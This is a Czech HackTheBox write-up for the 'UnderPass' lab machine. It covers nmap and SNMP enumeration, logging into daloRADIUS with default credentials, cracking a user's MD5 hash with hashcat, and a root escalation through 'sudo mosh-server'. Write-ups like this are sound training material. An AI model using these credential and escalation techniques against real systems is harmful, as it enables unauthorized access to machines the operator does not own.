UnderPass HTB
Write-Up úlohy UnderPass
UnderPass
Dle rady, o tom jak funguje HackTheBox jsem si přidal IP adresu VM do
/etc/hosts
s názvemunderpass.htb
protože se tak chovají všechny laby.
Skenování
Po prvotním skenu jsem objevil pouze dva TCP porty 80
a 22
1
nmap -sC -sV underpass.htb
Zaujal mě port 80
který se tvářil pouze jako čistý Apache2.
Zkoušel jsem několik způsobů “fuzzingu” pomocí FFuF
, dirble
a několika různých slovníků a stejně jsem neobjevil nic víc zajímavého než:
1
2
3
.htpasswd
.htaccess
server-status
Všechny soubory/stránky se tvářili jako nedostupné …
Pak jsem si řekl, že to je nějak málo, tak zkusím i UDP scan.
1
sudo nmap -sS -sU underpass.htb
Výsledek byl už zajímavější:
1
2
3
4
5
6
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
161/udp open snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct
SNMP Metasploit
Jenže co se snmp
, no mám rád Metasploit tak proč to nezkusit …
1
2
3
4
5
6
7
8
9
10
11
12
13
14
msfconsole
search snmp
use auxiliary/scanner/snmp/snmp_enum
--------------------------------------
[*] System information:
Host IP : 10.10.11.48
Hostname : UnDerPass.htb is the only daloradius server in the basin!
Description : Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Contact : [email protected]
Location : Nevada, U.S.A. but not Vegas
Uptime snmp : 04:16:52.39
Uptime system : 04:16:41.84
System date : 2025-2-21 08:18:09.0
Daloradius
Vidíme, že zde máme daloradius
což je nástroj pro správu hotspotů, která má normálně i web interface.
Proč si tedy neověřit, že k němu nemáme třeba přístup.
Opět se vrátím k “fuzzingu” a zkusím hledat ve složce /daloradius/
1
./dirble http://underpass.htb/daloradius -w /usr/share/wordlists/dirb/big.txt
Tím se nám značně rozšíří spektrum možností. Po přečtení dokumentace k aplikaci tuším, že by mohlo být něco na:
1
2
http://underpass.htb/daloradius/app/operators --> forward to -->
http://underpass.htb/daloradius/app/operators/login.php
Z internetu jsme zjistili, že defaultní přihl. údaje jsou:
1
administrator:radius
Po chvíli zkoumání jsem našel uživatele se jménem svcMosh takže máme:
1
svcMosh:412DD4759978ACFCC81DEAB01B382403
a zrovna k němu i heslo ? No spíš hash…
1
hashcat "412DD4759978ACFCC81DEAB01B382403" -m 0 /usr/share/wordlists/rockyou.txt
takže máme:
1
svcMosh:underwaterfriends
Po chvíli zjistíme, že by se mohlo jednat o SSH přihlašovací údaje …
Tím získáváme první FLAG v souboru user.txt
Privilege Escalation
Na řadu teď přijde LinPeas pro usnadnění a zjištění možností jak postupovat …
- Virtuálka nemá přístup do internetu, tak je potřeba
linpeas.sh
dostat na stroj … takže si jej prvně stáhneme k sobě a pak si ho přesrsync
pošleme na virtuálku …1
rsync linpeas.sh [email protected]:/tmp/
Pak jen spustíme na stroji a dle výpisu zjistíme, že:
Takže bude možné eskalovat přes /usr/bin/mosh-server
nejspíš …
Spustíme mosh-server
1
sudo /usr/bin/mosh-server new
Původně jsem myslel, že po startu se nám vygeneruje i MOSH_KEY
a použije se:
1
MOSH_KEY=XXX mosh-client 127.0.0.1 6001
Bohužel tento postup mi nevyšel, ale nakonec pomohl GitHub
1
mosh --server="sudo /usr/bin/mosh-server" localhost
Whoala, máme oprávnění root
Nyní už víme kde a jak získat poslední FLAG.